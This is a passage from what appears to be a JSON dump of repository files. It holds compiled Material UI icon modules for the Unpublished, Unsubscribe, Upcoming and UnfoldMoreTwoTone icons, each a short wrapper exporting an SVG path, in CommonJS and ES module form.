    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldMoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.83 15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15z\"\n}), 'UnfoldMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unpublished.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27zm-10.6-4.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18 1.41 1.41zm3-5.84-7.1-7.1C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51L15 12.17l2.65-2.65-1.41-1.41z\"\n}), 'Unpublished');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unpublished.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27zm-10.6-4.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18 1.41 1.41zm3-5.84-7.1-7.1C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51L15 12.17l2.65-2.65-1.41-1.41z\"\n}), 'Unpublished');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.94 5.12 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12m9.72 4.41-1.41-1.41-2.65 2.65 1.41 1.41zm2.12 13.08-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38zm-3.72-3.73L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\"\n}), 'UnpublishedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.94 5.12 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12m9.72 4.41-1.41-1.41-2.65 2.65 1.41 1.41zm2.12 13.08-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38zm-3.72-3.73L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\"\n}), 'UnpublishedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.56 1.56c-1.25 1.88-1.88 4.21-1.59 6.7.53 4.54 4.21 8.22 8.74 8.74 2.49.29 4.81-.34 6.7-1.59l1.56 1.56c.39.39 1.02.39 1.41 0 .4-.38.4-1.01.01-1.4m-10.61-4.6-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12.18-.18L12.17 15l-.88.88c-.39.4-1.02.4-1.41.01m3.71-5.13-7.1-7.1c1.88-1.25 4.21-1.88 6.7-1.59 4.54.53 8.22 4.21 8.74 8.74.29 2.49-.34 4.82-1.59 6.7L15 12.17l1.94-1.94c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'UnpublishedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.56 1.56c-1.25 1.88-1.88 4.21-1.59 6.7.53 4.54 4.21 8.22 8.74 8.74 2.49.29 4.81-.34 6.7-1.59l1.56 1.56c.39.39 1.02.39 1.41 0 .4-.38.4-1.01.01-1.4m-10.61-4.6-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12.18-.18L12.17 15l-.88.88c-.39.4-1.02.4-1.41.01m3.71-5.13-7.1-7.1c1.88-1.25 4.21-1.88 6.7-1.59 4.54.53 8.22 4.21 8.74 8.74.29 2.49-.34 4.82-1.59 6.7L15 12.17l1.94-1.94c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0z\"\n}), 'UnpublishedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27zm-10.6-4.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18 1.41 1.41zm3-5.84-7.1-7.1C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51L15 12.17l2.65-2.65-1.41-1.41z\"\n}), 'UnpublishedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27zm-10.6-4.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18 1.41 1.41zm3-5.84-7.1-7.1C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51L15 12.17l2.65-2.65-1.41-1.41z\"\n}), 'UnpublishedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.59 10.76 2.65-2.65 1.41 1.41L15 12.17l3.88 3.88C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12zm4.07-1.23-1.41-1.41-2.65 2.65 1.41 1.41zm-1.6 9.35L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.94 5.12 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12m9.72 4.41-1.41-1.41-2.65 2.65 1.41 1.41zm2.12 13.08-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38zm-3.72-3.73L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\"\n}, \"1\")], 'UnpublishedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnpublishedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.59 10.76 2.65-2.65 1.41 1.41L15 12.17l3.88 3.88C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12zm4.07-1.23-1.41-1.41-2.65 2.65 1.41 1.41zm-1.6 9.35L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.94 5.12 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.86 20 13.48 20 12c0-4.41-3.59-8-8-8-1.48 0-2.86.41-4.06 1.12m9.72 4.41-1.41-1.41-2.65 2.65 1.41 1.41zm2.12 13.08-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81l18.38 18.38zm-3.72-3.73L12.18 15l-1.59 1.59-4.24-4.24 1.41-1.41 2.83 2.83.18-.18-5.65-5.65C4.41 9.14 4 10.52 4 12c0 4.41 3.59 8 8 8 1.48 0 2.86-.41 4.06-1.12\"\n}, \"1\")], 'UnpublishedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unsubscribe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 4h-4v-1h4zm-6.95 0c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5 .92 0 1.76.26 2.5.69V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2zM12 10.5 5 7V5l7 3.5L19 5v2z\"\n}), 'Unsubscribe');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unsubscribe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 4h-4v-1h4zm-6.95 0c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5 .92 0 1.76.26 2.5.69V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2zM12 10.5 5 7V5l7 3.5L19 5v2z\"\n}), 'Unsubscribe');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.99 14.04V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10.05c.28 1.92 2.1 3.35 4.18 2.93 1.34-.27 2.43-1.37 2.7-2.71.25-1.24-.16-2.39-.94-3.18m-2-9.04L12 8.5 5 5zm-3.64 10H5V7l7 3.5L19 7v6.05c-.16-.02-.33-.05-.5-.05-1.39 0-2.59.82-3.15 2m5.15 2h-4v-1h4z\"\n}), 'UnsubscribeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.99 14.04V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10.05c.28 1.92 2.1 3.35 4.18 2.93 1.34-.27 2.43-1.37 2.7-2.71.25-1.24-.16-2.39-.94-3.18m-2-9.04L12 8.5 5 5zm-3.64 10H5V7l7 3.5L19 7v6.05c-.16-.02-.33-.05-.5-.05-1.39 0-2.59.82-3.15 2m5.15 2h-4v-1h4z\"\n}), 'UnsubscribeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 11.5c.92 0 1.75.26 2.49.69V5c0-1.1-.89-2-1.99-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h8.55c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5m-5.61-1.45c-.56.28-1.23.28-1.79 0l-5.61-2.8c-.3-.15-.49-.46-.49-.8 0-.66.7-1.1 1.29-.8L12 8.5l5.71-2.85c.59-.3 1.29.13 1.29.8 0 .34-.19.65-.49.8zM18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 3.5c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5\"\n}), 'UnsubscribeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 11.5c.92 0 1.75.26 2.49.69V5c0-1.1-.89-2-1.99-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h8.55c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5m-5.61-1.45c-.56.28-1.23.28-1.79 0l-5.61-2.8c-.3-.15-.49-.46-.49-.8 0-.66.7-1.1 1.29-.8L12 8.5l5.71-2.85c.59-.3 1.29.13 1.29.8 0 .34-.19.65-.49.8zM18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 3.5c0 .28-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5\"\n}), 'UnsubscribeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 4h-4v-1h4zm-6.95 0c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5 .92 0 1.75.26 2.49.69V3H3v14zM12 10.5 5 7V5l7 3.5L19 5v2z\"\n}), 'UnsubscribeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m2 4h-4v-1h4zm-6.95 0c-.02-.17-.05-.33-.05-.5 0-2.76 2.24-5 5-5 .92 0 1.75.26 2.49.69V3H3v14zM12 10.5 5 7V5l7 3.5L19 5v2z\"\n}), 'UnsubscribeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.99 5H5l7 3.5zm.01 8.05V7l-7 3.5L5 7v8h10.35c.56-1.18 1.76-2 3.15-2 .17 0 .34.03.5.05\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.99 14.04V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10.05c.28 1.92 2.1 3.35 4.18 2.93 1.34-.27 2.43-1.37 2.7-2.71.25-1.24-.16-2.39-.94-3.18m-2-9.04L12 8.5 5 5zm-3.64 10H5V7l7 3.5L19 7v6.05c-.16-.02-.33-.05-.5-.05-1.39 0-2.59.82-3.15 2m5.15 2h-4v-1h4z\"\n}, \"1\")], 'UnsubscribeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnsubscribeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.99 5H5l7 3.5zm.01 8.05V7l-7 3.5L5 7v8h10.35c.56-1.18 1.76-2 3.15-2 .17 0 .34.03.5.05\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.99 14.04V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10.05c.28 1.92 2.1 3.35 4.18 2.93 1.34-.27 2.43-1.37 2.7-2.71.25-1.24-.16-2.39-.94-3.18m-2-9.04L12 8.5 5 5zm-3.64 10H5V7l7 3.5L19 7v6.05c-.16-.02-.33-.05-.5-.05-1.39 0-2.59.82-3.15 2m5.15 2h-4v-1h4z\"\n}, \"1\")], 'UnsubscribeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upcoming.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm-4.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M20 12h-5c0 1.66-1.34 3-3 3s-3-1.34-3-3H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'Upcoming');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upcoming.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.16 7.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 3h2v5h-2zm-4.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M20 12h-5c0 1.66-1.34 3-3 3s-3-1.34-3-3H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'Upcoming');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.6 10.81 16.19 9.4l3.56-3.55 1.41 1.41c-.11.03-3.56 3.55-3.56 3.55M13 3h-2v5h2zm-6.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M20 14h-3.42c-.77 1.76-2.54 3-4.58 3s-3.81-1.24-4.58-3H4v5h16zm0-2c1.1 0 2 .9 2 2v5c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-5c0-1.1.9-2 2-2h5c0 1.66 1.34 3 3 3s3-1.34 3-3z\"\n}), 'UpcomingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.6 10.81 16.19 9.4l3.56-3.55 1.41 1.41c-.11.03-3.56 3.55-3.56 3.55M13 3h-2v5h2zm-6.6 7.81L7.81 9.4 4.26 5.84 2.84 7.26c.11.03 3.56 3.55 3.56 3.55M20 14h-3.42c-.77 1.76-2.54 3-4.58 3s-3.81-1.24-4.58-3H4v5h16zm0-2c1.1 0 2 .9 2 2v5c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2v-5c0-1.1.9-2 2-2h5c0 1.66 1.34 3 3 3s3-1.34 3-3z\"\n}), 'UpcomingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.45 6.55c-.38-.38-1.01-.38-1.39 0L16.89 8.7c-.39.38-.39 1.01 0 1.39l.01.01c.39.39 1.01.39 1.4 0 .62-.63 1.52-1.54 2.15-2.17.38-.38.38-1 0-1.38M12.02 3h-.03c-.55 0-.99.44-.99.98v3.03c0 .55.44.99.98.99h.03c.55 0 .99-.44.99-.98V3.98c0-.54-.44-.98-.98-.98M7.1 10.11l.01-.01c.38-.38.38-1.01 0-1.39L4.96 6.54c-.38-.39-1.01-.39-1.39 0l-.02.01c-.39.39-.39 1.01 0 1.39.63.62 1.53 1.54 2.15 2.17.39.38 1.02.38 1.4 0M12 15c-1.24 0-2.31-.75-2.76-1.83-.32-.74-1.1-1.17-1.9-1.17H4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2h-3.34c-.8 0-1.58.43-1.9 1.17C14.31 14.25 13.24 15 12 15\"\n}), 'UpcomingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpcomingRounded.mjs",
